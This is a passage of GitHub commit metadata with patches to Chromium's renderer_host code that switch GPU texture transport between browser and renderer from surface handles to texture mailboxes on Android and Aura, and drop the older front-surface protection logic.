"https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/image_transport_factory.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -10,6 +10,7 @@\n #include \"base/bind.h\"\n #include \"base/command_line.h\"\n #include \"base/memory/ref_counted.h\"\n+#include \"base/memory/scoped_ptr.h\"\n #include \"base/observer_list.h\"\n #include \"base/threading/non_thread_safe.h\"\n #include \"content/browser/gpu/browser_gpu_channel_host_factory.h\"\n@@ -27,6 +28,8 @@\n #include \"third_party/WebKit/Source/Platform/chromium/public/WebCompositorOutputSurface.h\"\n #include \"third_party/WebKit/Source/Platform/chromium/public/WebCompositorOutputSurfaceClient.h\"\n #include \"third_party/WebKit/Source/WebKit/chromium/public/platform/WebGraphicsContext3D.h\"\n+#include \"third_party/khronos/GLES2/gl2.h\"\n+#include \"third_party/khronos/GLES2/gl2ext.h\"\n #include \"ui/compositor/compositor.h\"\n #include \"ui/compositor/compositor_setup.h\"\n #include \"ui/compositor/test_web_graphics_context_3d.h\"\n@@ -65,7 +68,7 @@ class DefaultTransportFactory\n virtual scoped_refptr<ui::Texture> CreateTransportClient(\n const gfx::Size& size,\n float device_scale_factor,\n- uint64 transport_handle) OVERRIDE {\n+ const std::string& mailbox_name) OVERRIDE {\n return NULL;\n }\n \n@@ -97,40 +100,6 @@ class DefaultTransportFactory\n DISALLOW_COPY_AND_ASSIGN(DefaultTransportFactory);\n };\n \n-class ImageTransportClientTexture : public ui::Texture {\n- public:\n- ImageTransportClientTexture(\n- WebKit::WebGraphicsContext3D* host_context,\n- const gfx::Size& size,\n- float device_scale_factor,\n- uint64 surface_id)\n- : ui::Texture(true, size, device_scale_factor),\n- host_context_(host_context),\n- texture_id_(surface_id) {\n- }\n-\n- // ui::Texture overrides:\n- virtual unsigned int PrepareTexture() OVERRIDE {\n- return texture_id_;\n- }\n-\n- virtual WebKit::WebGraphicsContext3D* HostContext3D() OVERRIDE {\n- return host_context_;\n- }\n-\n- protected:\n- virtual ~ImageTransportClientTexture() {}\n-\n- private:\n- // A raw pointer. This |ImageTransportClientTexture| will be destroyed\n- // before the |host_context_| via\n- // |ImageTransportFactoryObserver::OnLostContext()| handlers.\n- WebKit::WebGraphicsContext3D* host_context_;\n- unsigned texture_id_;\n-\n- DISALLOW_COPY_AND_ASSIGN(ImageTransportClientTexture);\n-};\n-\n class OwnedTexture : public ui::Texture, ImageTransportFactoryObserver {\n public:\n OwnedTexture(WebKit::WebGraphicsContext3D* host_context,\n@@ -163,7 +132,7 @@ class OwnedTexture : public ui::Texture, ImageTransportFactoryObserver {\n DeleteTexture();\n }\n \n- private:\n+ protected:\n void DeleteTexture() {\n if (texture_id_) {\n host_context_->deleteTexture(texture_id_);\n@@ -180,6 +149,53 @@ class OwnedTexture : public ui::Texture, ImageTransportFactoryObserver {\n DISALLOW_COPY_AND_ASSIGN(OwnedTexture);\n };\n \n+class ImageTransportClientTexture : public OwnedTexture {\n+ public:\n+ ImageTransportClientTexture(\n+ WebKit::WebGraphicsContext3D* host_context,\n+ const gfx::Size& size,\n+ float device_scale_factor,\n+ const std::string& mailbox_name)\n+ : OwnedTexture(host_context,\n+ size,\n+ device_scale_factor,\n+ host_context->createTexture()),\n+ mailbox_name_(mailbox_name) {\n+ DCHECK(mailbox_name.size() == GL_MAILBOX_SIZE_CHROMIUM);\n+ }\n+\n+ virtual void Consume(const gfx::Size& new_size) OVERRIDE {\n+ if (!mailbox_name_.length())\n+ return;\n+\n+ DCHECK(host_context_ && texture_id_);\n+ host_context_->bindTexture(GL_TEXTURE_2D, texture_id_);\n+ host_context_->consumeTextureCHROMIUM(\n+ GL_TEXTURE_2D,\n+ reinterpret_cast<const signed char*>(mailbox_name_.c_str()));\n+ size_ = new_size;\n+ host_context_->flush();\n+ }\n+\n+ virtual void Produce() OVERRIDE {\n+ if (!mailbox_name_.length())\n+ return;\n+\n+ DCHECK(host_context_ && texture_id_);\n+ host_context_->bindTexture(GL_TEXTURE_2D, texture_id_);\n+ host_context_->produceTextureCHROMIUM(\n+ GL_TEXTURE_2D,\n+ reinterpret_cast<const signed char*>(mailbox_name_.c_str()));\n+ }\n+\n+ protected:\n+ virtual ~ImageTransportClientTexture() {}\n+\n+ private:\n+ std::string mailbox_name_;\n+ DISALLOW_COPY_AND_ASSIGN(ImageTransportClientTexture);\n+};\n+\n class GpuProcessTransportFactory;\n \n class CompositorSwapClient\n@@ -408,41 +424,24 @@ class GpuProcessTransportFactory :\n gfx::GLSurfaceHandle handle = gfx::GLSurfaceHandle(\n gfx::kNullPluginWindow, true);\n handle.parent_gpu_process_id = shared_context_->GetGPUProcessID();\n- handle.parent_client_id = shared_context_->GetChannelID();\n- handle.parent_context_id = shared_context_->GetContextID();\n- handle.parent_texture_id[0] = shared_context_->createTexture();\n- handle.parent_texture_id[1] = shared_context_->createTexture();\n- handle.sync_point = shared_context_->insertSyncPoint();\n \n return handle;\n }\n \n virtual void DestroySharedSurfaceHandle(\n gfx::GLSurfaceHandle surface) OVERRIDE {\n- if (!shared_context_.get())\n- return;\n- uint32 channel_id = shared_context_->GetChannelID();\n- uint32 context_id = shared_context_->GetContextID();\n- if (surface.parent_gpu_process_id != shared_context_->GetGPUProcessID() ||\n- surface.parent_client_id != channel_id ||\n- surface.parent_context_id != context_id)\n- return;\n-\n- shared_context_->deleteTexture(surface.parent_texture_id[0]);\n- shared_context_->deleteTexture(surface.parent_texture_id[1]);\n- shared_context_->flush();\n }\n \n virtual scoped_refptr<ui::Texture> CreateTransportClient(\n const gfx::Size& size,\n float device_scale_factor,\n- uint64 transport_handle) {\n+ const std::string& mailbox_name) {\n if (!shared_context_.get())\n return NULL;\n scoped_refptr<ImageTransportClientTexture> image(\n new ImageTransportClientTexture(shared_context_.get(),\n size, device_scale_factor,\n- transport_handle));\n+ mailbox_name));\n return image;\n }\n "}<_**next**_>{"sha": "f081e206e35e9d75cdeb12b3d4b0f7bd476dc47a", "filename": "content/browser/renderer_host/image_transport_factory.h", "status": "modified", "additions": 3, "deletions": 1, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/image_transport_factory.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -5,6 +5,8 @@\n #ifndef CONTENT_BROWSER_RENDERER_HOST_IMAGE_TRANSPORT_FACTORY_H_\n #define CONTENT_BROWSER_RENDERER_HOST_IMAGE_TRANSPORT_FACTORY_H_\n \n+#include <string>\n+\n #include \"base/memory/ref_counted.h\"\n #include \"ui/gfx/native_widget_types.h\"\n \n@@ -73,7 +75,7 @@ class ImageTransportFactory {\n virtual scoped_refptr<ui::Texture> CreateTransportClient(\n const gfx::Size& size,\n float device_scale_factor,\n- uint64 transport_handle) = 0;\n+ const std::string& mailbox_name) = 0;\n \n // Variant of CreateTransportClient() that deletes the texture on the GPU when\n // the returned value is deleted."}<_**next**_>{"sha": "558e4857704ef67e6fdf52c28f7836f2ef0d1879", "filename": "content/browser/renderer_host/image_transport_factory_android.cc", "status": "modified", "additions": 38, "deletions": 9, "changes": 47, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory_android.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory_android.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/image_transport_factory_android.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -11,6 +11,7 @@\n #include \"content/common/gpu/client/gl_helper.h\"\n #include \"content/common/gpu/client/webgraphicscontext3d_command_buffer_impl.h\"\n #include \"third_party/WebKit/Source/Platform/chromium/public/WebGraphicsContext3D.h\"\n+#include \"third_party/khronos/GLES2/gl2.h\"\n #include \"webkit/gpu/webgraphicscontext3d_in_process_impl.h\"\n \n namespace content {\n@@ -30,6 +31,16 @@ class DirectGLImageTransportFactory : public ImageTransportFactoryAndroid {\n virtual void DestroySharedSurfaceHandle(\n const gfx::GLSurfaceHandle& handle) OVERRIDE {}\n virtual uint32_t InsertSyncPoint() OVERRIDE { return 0; }\n+ virtual uint32_t CreateTexture() OVERRIDE {\n+ return context_->createTexture();\n+ }\n+ virtual void DeleteTexture(uint32_t id) OVERRIDE {\n+ context_->deleteTexture(id);\n+ }\n+ virtual void AcquireTexture(\n+ uint32 texture_id, const signed char* mailbox_name) OVERRIDE {}\n+ virtual void ReleaseTexture(\n+ uint32 texture_id, const signed char* mailbox_name) OVERRIDE {}\n virtual WebKit::WebGraphicsContext3D* GetContext3D() OVERRIDE {\n return context_.get();\n }\n@@ -64,6 +75,12 @@ class CmdBufferImageTransportFactory : public ImageTransportFactoryAndroid {\n virtual void DestroySharedSurfaceHandle(\n const gfx::GLSurfaceHandle& handle) OVERRIDE;\n virtual uint32_t InsertSyncPoint() OVERRIDE;\n+ virtual uint32_t CreateTexture() OVERRIDE;\n+ virtual void DeleteTexture(uint32_t id) OVERRIDE;\n+ virtual void AcquireTexture(\n+ uint32 texture_id, const signed char* mailbox_name) OVERRIDE;\n+ virtual void ReleaseTexture(\n+ uint32 texture_id, const signed char* mailbox_name) OVERRIDE;\n virtual WebKit::WebGraphicsContext3D* GetContext3D() OVERRIDE {\n return context_.get();\n }\n@@ -105,11 +122,6 @@ CmdBufferImageTransportFactory::CreateSharedSurfaceHandle() {\n gfx::GLSurfaceHandle handle = gfx::GLSurfaceHandle(\n gfx::kNullPluginWindow, true);\n handle.parent_gpu_process_id = context_->GetGPUProcessID();\n- handle.parent_client_id = context_->GetChannelID();\n- handle.parent_context_id = context_->GetContextID();\n- handle.parent_texture_id[0] = context_->createTexture();\n- handle.parent_texture_id[1] = context_->createTexture();\n- handle.sync_point = context_->insertSyncPoint();\n context_->flush();\n return handle;\n }\n@@ -120,16 +132,33 @@ void CmdBufferImageTransportFactory::DestroySharedSurfaceHandle(\n NOTREACHED() << \"Failed to make shared graphics context current\";\n return;\n }\n-\n- context_->deleteTexture(handle.parent_texture_id[0]);\n- context_->deleteTexture(handle.parent_texture_id[1]);\n- context_->finish();\n }\n \n uint32_t CmdBufferImageTransportFactory::InsertSyncPoint() {\n return context_->insertSyncPoint();\n }\n \n+uint32_t CmdBufferImageTransportFactory::CreateTexture() {\n+ return context_->createTexture();\n+}\n+\n+void CmdBufferImageTransportFactory::DeleteTexture(uint32_t id) {\n+ context_->deleteTexture(id);\n+}\n+\n+void CmdBufferImageTransportFactory::AcquireTexture(\n+ uint32 texture_id, const signed char* mailbox_name) {\n+ context_->bindTexture(GL_TEXTURE_2D, texture_id);\n+ context_->consumeTextureCHROMIUM(GL_TEXTURE_2D, mailbox_name);\n+ context_->flush();\n+}\n+\n+void CmdBufferImageTransportFactory::ReleaseTexture(\n+ uint32 texture_id, const signed char* mailbox_name) {\n+ context_->bindTexture(GL_TEXTURE_2D, texture_id);\n+ context_->produceTextureCHROMIUM(GL_TEXTURE_2D, mailbox_name);\n+}\n+\n GLHelper* CmdBufferImageTransportFactory::GetGLHelper() {\n if (!gl_helper_.get())\n gl_helper_.reset(new GLHelper(GetContext3D(), NULL));"}<_**next**_>{"sha": "57fc5f6cda04a45ab299960c086d850ac514a010", "filename": "content/browser/renderer_host/image_transport_factory_android.h", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory_android.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/image_transport_factory_android.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/image_transport_factory_android.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -30,6 +30,12 @@ class ImageTransportFactoryAndroid {\n const gfx::GLSurfaceHandle& handle) = 0;\n \n virtual uint32_t InsertSyncPoint() = 0;\n+ virtual uint32_t CreateTexture() = 0;\n+ virtual void DeleteTexture(uint32_t id) = 0;\n+ virtual void AcquireTexture(\n+ uint32 texture_id, const signed char* mailbox_name) = 0;\n+ virtual void ReleaseTexture(\n+ uint32 texture_id, const signed char* mailbox_name) = 0;\n \n virtual WebKit::WebGraphicsContext3D* GetContext3D() = 0;\n virtual GLHelper* GetGLHelper() = 0;"}<_**next**_>{"sha": "67a658cfe6a865c26a4429337d466203d7a0465e", "filename": "content/browser/renderer_host/render_process_host_impl.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_process_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_process_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_process_host_impl.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -1595,7 +1595,7 @@ void RenderProcessHostImpl::OnCompositorSurfaceBuffersSwappedNoHost(\n \"RenderWidgetHostImpl::OnCompositorSurfaceBuffersSwappedNoHost\");\n RenderWidgetHostImpl::AcknowledgeBufferPresent(route_id,\n gpu_process_host_id,\n- false,\n+ surface_handle,\n 0);\n }\n "}<_**next**_>{"sha": "4a07bd63a906f448c83300c0fa8ad79af5d1d4d2", "filename": "content/browser/renderer_host/render_widget_host_impl.cc", "status": "modified", "additions": 3, "deletions": 15, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_impl.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -1530,7 +1530,7 @@ void RenderWidgetHostImpl::OnCompositorSurfaceBuffersSwapped(\n if (!view_) {\n RenderWidgetHostImpl::AcknowledgeBufferPresent(route_id,\n gpu_process_host_id,\n- false,\n+ surface_handle,\n 0);\n return;\n }\n@@ -2310,11 +2310,11 @@ bool RenderWidgetHostImpl::GotResponseToLockMouseRequest(bool allowed) {\n \n // static\n void RenderWidgetHostImpl::AcknowledgeBufferPresent(\n- int32 route_id, int gpu_host_id, bool presented, uint32 sync_point) {\n+ int32 route_id, int gpu_host_id, uint64 surface_handle, uint32 sync_point) {\n GpuProcessHostUIShim* ui_shim = GpuProcessHostUIShim::FromID(gpu_host_id);\n if (ui_shim)\n ui_shim->Send(new AcceleratedSurfaceMsg_BufferPresented(route_id,\n- presented,\n+ surface_handle,\n sync_point));\n }\n \n@@ -2337,18 +2337,6 @@ void RenderWidgetHostImpl::ParentChanged(gfx::NativeViewId new_parent) {\n #endif\n }\n \n-// static\n-void RenderWidgetHostImpl::SendFrontSurfaceIsProtected(\n- bool is_protected,\n- uint32 protection_state_id,\n- int32 route_id,\n- int gpu_host_id) {\n- GpuProcessHostUIShim* ui_shim = GpuProcessHostUIShim::FromID(gpu_host_id);\n- if (ui_shim) {\n- ui_shim->Send(new AcceleratedSurfaceMsg_SetFrontSurfaceIsProtected(\n- route_id, is_protected, protection_state_id));\n- }\n-}\n #endif\n \n void RenderWidgetHostImpl::DelayedAutoResized() {"}<_**next**_>{"sha": "6aa6c346a397648c7b91425f74a74aaa699e3e2c", "filename": "content/browser/renderer_host/render_widget_host_impl.h", "status": "modified", "additions": 1, "deletions": 10, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_impl.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -397,7 +397,7 @@ class CONTENT_EXPORT RenderWidgetHostImpl : virtual public RenderWidgetHost,\n static void AcknowledgeBufferPresent(\n int32 route_id,\n int gpu_host_id,\n- bool presented,\n+ uint64 surface_handle,\n uint32 sync_point);\n \n // Called by the view in response to AcceleratedSurfaceBuffersSwapped for\n@@ -410,15 +410,6 @@ class CONTENT_EXPORT RenderWidgetHostImpl : virtual public RenderWidgetHost,\n // Called by the view when the parent changes. If a parent isn't available,\n // NULL is used.\n void ParentChanged(gfx::NativeViewId new_parent);\n-\n- // Called by the view in response to visibility changes:\n- // 1. After the front surface is guarenteed to no longer be in use by the ui\n- // (protected false),\n- // 2. When the ui expects to have a valid front surface (protected true).\n- static void SendFrontSurfaceIsProtected(bool is_protected,\n- uint32 protection_state_id,\n- int32 route_id,\n- int gpu_host_id);\n #endif\n \n // Signals that the compositing surface was updated, e.g. after a lost context"}<_**next**_>{"sha": "b91237333d7ca67a4025a405107dc51ea20a9b9b", "filename": "content/browser/renderer_host/render_widget_host_view_android.cc", "status": "modified", "additions": 53, "deletions": 8, "changes": 61, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_android.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_android.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_android.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -56,7 +56,8 @@ RenderWidgetHostViewAndroid::RenderWidgetHostViewAndroid(\n content_view_core_(NULL),\n ime_adapter_android_(ALLOW_THIS_IN_INITIALIZER_LIST(this)),\n cached_background_color_(SK_ColorWHITE),\n- texture_id_in_layer_(0) {\n+ texture_id_in_layer_(0),\n+ current_buffer_id_(0) {\n if (CompositorImpl::UsesDirectGL()) {\n surface_texture_transport_.reset(new SurfaceTextureTransportClient());\n layer_ = surface_texture_transport_->Initialize();\n@@ -78,6 +79,10 @@ RenderWidgetHostViewAndroid::~RenderWidgetHostViewAndroid() {\n ImageTransportFactoryAndroid::GetInstance()->DestroySharedSurfaceHandle(\n shared_surface_);\n }\n+ if (texture_id_in_layer_) {\n+ ImageTransportFactoryAndroid::GetInstance()->DeleteTexture(\n+ texture_id_in_layer_);\n+ }\n }\n \n void RenderWidgetHostViewAndroid::InitAsChild(gfx::NativeView parent_view) {\n@@ -388,19 +393,42 @@ void RenderWidgetHostViewAndroid::OnAcceleratedCompositingStateChange() {\n void RenderWidgetHostViewAndroid::AcceleratedSurfaceBuffersSwapped(\n const GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params& params,\n int gpu_host_id) {\n- texture_layer_->setTextureId(params.surface_handle);\n- DCHECK(texture_layer_ == layer_);\n- layer_->setBounds(params.size);\n- texture_id_in_layer_ = params.surface_handle;\n- texture_size_in_layer_ = params.size;\n+ ImageTransportFactoryAndroid* factory =\n+ ImageTransportFactoryAndroid::GetInstance();\n \n // TODO(sievers): When running the impl thread in the browser we\n- // need to delay the ACK until after commit.\n+ // need to delay the ACK until after commit and use more than a single\n+ // texture.\n DCHECK(!CompositorImpl::IsThreadingEnabled());\n+\n+ uint64 previous_buffer = current_buffer_id_;\n+ if (previous_buffer && texture_id_in_layer_) {\n+ DCHECK(id_to_mailbox_.find(previous_buffer) != id_to_mailbox_.end());\n+ ImageTransportFactoryAndroid::GetInstance()->ReleaseTexture(\n+ texture_id_in_layer_,\n+ reinterpret_cast<const signed char*>(\n+ id_to_mailbox_[previous_buffer].c_str()));\n+ }\n+\n+ current_buffer_id_ = params.surface_handle;\n+ if (!texture_id_in_layer_) {\n+ texture_id_in_layer_ = factory->CreateTexture();\n+ texture_layer_->setTextureId(texture_id_in_layer_);\n+ }\n+\n+ DCHECK(id_to_mailbox_.find(current_buffer_id_) != id_to_mailbox_.end());\n+ ImageTransportFactoryAndroid::GetInstance()->AcquireTexture(\n+ texture_id_in_layer_,\n+ reinterpret_cast<const signed char*>(\n+ id_to_mailbox_[current_buffer_id_].c_str()));\n+ texture_layer_->setNeedsDisplay();\n+ texture_layer_->setBounds(params.size);\n+ texture_size_in_layer_ = params.size;\n+\n uint32 sync_point =\n ImageTransportFactoryAndroid::GetInstance()->InsertSyncPoint();\n RenderWidgetHostImpl::AcknowledgeBufferPresent(\n- params.route_id, gpu_host_id, true, sync_point);\n+ params.route_id, gpu_host_id, previous_buffer, sync_point);\n }\n \n void RenderWidgetHostViewAndroid::AcceleratedSurfacePostSubBuffer(\n@@ -413,6 +441,23 @@ void RenderWidgetHostViewAndroid::AcceleratedSurfaceSuspend() {\n NOTREACHED();\n }\n \n+void RenderWidgetHostViewAndroid::AcceleratedSurfaceNew(\n+ int32 width_in_pixel, int32 height_in_pixel, uint64 surface_id,\n+ const std::string& mailbox_name) {\n+ DCHECK(surface_id == 1 || surface_id == 2);\n+ id_to_mailbox_[surface_id] = mailbox_name;\n+}\n+\n+void RenderWidgetHostViewAndroid::AcceleratedSurfaceRelease() {\n+ // This tells us we should free the frontbuffer.\n+ if (texture_id_in_layer_) {\n+ texture_layer_->setTextureId(0);\n+ ImageTransportFactoryAndroid::GetInstance()->DeleteTexture(\n+ texture_id_in_layer_);\n+ texture_id_in_layer_ = 0;\n+ }\n+}\n+\n bool RenderWidgetHostViewAndroid::HasAcceleratedSurface(\n const gfx::Size& desired_size) {\n NOTREACHED();"}<_**next**_>{"sha": "967dadff81804eaea3bfe20090c7c5c0d39ac53d", "filename": "content/browser/renderer_host/render_widget_host_view_android.h", "status": "modified", "additions": 14, "deletions": 0, "changes": 14, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_android.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_android.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_android.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -5,6 +5,8 @@\n #ifndef CONTENT_BROWSER_RENDERER_HOST_RENDER_WIDGET_HOST_VIEW_ANDROID_H_\n #define CONTENT_BROWSER_RENDERER_HOST_RENDER_WIDGET_HOST_VIEW_ANDROID_H_\n \n+#include <map>\n+\n #include \"base/compiler_specific.h\"\n #include \"base/i18n/rtl.h\"\n #include \"base/memory/scoped_ptr.h\"\n@@ -101,6 +103,12 @@ class RenderWidgetHostViewAndroid : public RenderWidgetHostViewBase {\n const GpuHostMsg_AcceleratedSurfacePostSubBuffer_Params& params,\n int gpu_host_id) OVERRIDE;\n virtual void AcceleratedSurfaceSuspend() OVERRIDE;\n+ virtual void AcceleratedSurfaceNew(\n+ int32 width_in_pixel,\n+ int32 height_in_pixel,\n+ uint64 surface_id,\n+ const std::string& mailbox_name) OVERRIDE;\n+ virtual void AcceleratedSurfaceRelease() OVERRIDE;\n virtual bool HasAcceleratedSurface(const gfx::Size& desired_size) OVERRIDE;\n virtual void SetBackground(const SkBitmap& background) OVERRIDE;\n virtual void CopyFromCompositingSurface(\n@@ -193,6 +201,12 @@ class RenderWidgetHostViewAndroid : public RenderWidgetHostViewBase {\n // Used for image transport when needing to share resources across threads.\n scoped_ptr<SurfaceTextureTransportClient> surface_texture_transport_;\n \n+ typedef std::map<uint64, std::string> MailboxMap;\n+ MailboxMap id_to_mailbox_;\n+\n+ // The identifier of the previously received frame\n+ uint64 current_buffer_id_;\n+\n DISALLOW_COPY_AND_ASSIGN(RenderWidgetHostViewAndroid);\n };\n "}<_**next**_>{"sha": "aae19c0d4bacebac121e7f6e7e82a08a055e4cd5", "filename": "content/browser/renderer_host/render_widget_host_view_aura.cc", "status": "modified", "additions": 150, "deletions": 172, "changes": 322, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_aura.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_aura.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_aura.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -47,7 +47,6 @@\n #include \"ui/base/hit_test.h\"\n #include \"ui/base/ime/input_method.h\"\n #include \"ui/base/ui_base_types.h\"\n-#include \"ui/compositor/compositor.h\"\n #include \"ui/compositor/layer.h\"\n #include \"ui/gfx/canvas.h\"\n #include \"ui/gfx/display.h\"\n@@ -59,6 +58,9 @@\n #include \"ui/base/win/hidden_window.h\"\n #endif\n \n+using gfx::RectToSkIRect;\n+using gfx::SkIRectToRect;\n+\n using WebKit::WebScreenInfo;\n using WebKit::WebTouchEvent;\n \n@@ -275,6 +277,18 @@ class RenderWidgetHostViewAura::ResizeLock {\n DISALLOW_COPY_AND_ASSIGN(ResizeLock);\n };\n \n+RenderWidgetHostViewAura::BufferPresentedParams::BufferPresentedParams(\n+ int route_id,\n+ int gpu_host_id,\n+ uint64 surface_handle)\n+ : route_id(route_id),\n+ gpu_host_id(gpu_host_id),\n+ surface_handle(surface_handle) {\n+}\n+\n+RenderWidgetHostViewAura::BufferPresentedParams::~BufferPresentedParams() {\n+}\n+\n ////////////////////////////////////////////////////////////////////////////////\n // RenderWidgetHostViewAura, public:\n \n@@ -291,10 +305,6 @@ RenderWidgetHostViewAura::RenderWidgetHostViewAura(RenderWidgetHost* host)\n has_composition_text_(false),\n device_scale_factor_(1.0f),\n current_surface_(0),\n- current_surface_is_protected_(true),\n- current_surface_in_use_by_compositor_(true),\n- protection_state_id_(0),\n- surface_route_id_(0),\n paint_canvas_(NULL),\n synthetic_move_sent_(false),\n accelerated_compositing_state_changed_(false),\n@@ -395,8 +405,6 @@ void RenderWidgetHostViewAura::WasShown() {\n released_front_lock_ = GetCompositor()->GetCompositorLock();\n }\n \n- AdjustSurfaceProtection();\n-\n #if defined(OS_WIN)\n LPARAM lparam = reinterpret_cast<LPARAM>(this);\n EnumChildWindows(ui::GetHiddenWindow(), ShowWindowsCallback, lparam);\n@@ -410,14 +418,6 @@ void RenderWidgetHostViewAura::WasHidden() {\n \n released_front_lock_ = NULL;\n \n- if (ShouldReleaseFrontSurface() &&\n- host_->is_accelerated_compositing_active()) {\n- current_surface_ = 0;\n- UpdateExternalTexture();\n- }\n-\n- AdjustSurfaceProtection();\n-\n #if defined(OS_WIN)\n aura::RootWindow* root_window = window_->GetRootWindow();\n if (root_window) {\n@@ -725,7 +725,7 @@ void RenderWidgetHostViewAura::CopyFromCompositingSurface(\n output->GetBitmap().getPixels());\n scoped_callback_runner.Release();\n // Wrap the callback with an internal handler so that we can inject our\n- // own completion handlers (where we can call AdjustSurfaceProtection).\n+ // own completion handlers (where we can try to free the frontbuffer).\n base::Callback<void(bool)> wrapper_callback = base::Bind(\n &RenderWidgetHostViewAura::CopyFromCompositingSurfaceFinished,\n AsWeakPtr(),\n@@ -758,16 +758,13 @@ void RenderWidgetHostViewAura::OnAcceleratedCompositingStateChange() {\n accelerated_compositing_state_changed_ = true;\n }\n \n-bool RenderWidgetHostViewAura::ShouldFastACK(uint64 surface_id) {\n- ui::Texture* container = image_transport_clients_[surface_id];\n- DCHECK(container);\n-\n+bool RenderWidgetHostViewAura::ShouldSkipFrame(const gfx::Size& size) {\n if (can_lock_compositor_ == NO_PENDING_RENDERER_FRAME ||\n can_lock_compositor_ == NO_PENDING_COMMIT ||\n resize_locks_.empty())\n return false;\n \n- gfx::Size container_size = ConvertSizeToDIP(this, container->size());\n+ gfx::Size container_size = ConvertSizeToDIP(this, size);\n ResizeLockList::iterator it = resize_locks_.begin();\n while (it != resize_locks_.end()) {\n if ((*it)->expected_size() == container_size)\n@@ -790,7 +787,6 @@ void RenderWidgetHostViewAura::UpdateExternalTexture() {\n if (current_surface_ != 0 && host_->is_accelerated_compositing_active()) {\n ui::Texture* container = image_transport_clients_[current_surface_];\n window_->SetExternalTexture(container);\n- current_surface_in_use_by_compositor_ = true;\n \n if (!container) {\n resize_locks_.clear();\n@@ -826,120 +822,132 @@ void RenderWidgetHostViewAura::UpdateExternalTexture() {\n }\n } else {\n window_->SetExternalTexture(NULL);\n- if (ShouldReleaseFrontSurface() &&\n- host_->is_accelerated_compositing_active()) {\n- // We need to wait for a commit to clear to guarantee that all we\n- // will not issue any more GL referencing the previous surface.\n- ui::Compositor* compositor = GetCompositor();\n- if (compositor) {\n- can_lock_compositor_ = NO_PENDING_COMMIT;\n- on_compositing_did_commit_callbacks_.push_back(\n- base::Bind(&RenderWidgetHostViewAura::\n- SetSurfaceNotInUseByCompositor,\n- AsWeakPtr()));\n- if (!compositor->HasObserver(this))\n- compositor->AddObserver(this);\n- }\n- }\n resize_locks_.clear();\n }\n }\n \n-void RenderWidgetHostViewAura::AcceleratedSurfaceBuffersSwapped(\n- const GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params& params_in_pixel,\n- int gpu_host_id) {\n- surface_route_id_ = params_in_pixel.route_id;\n- 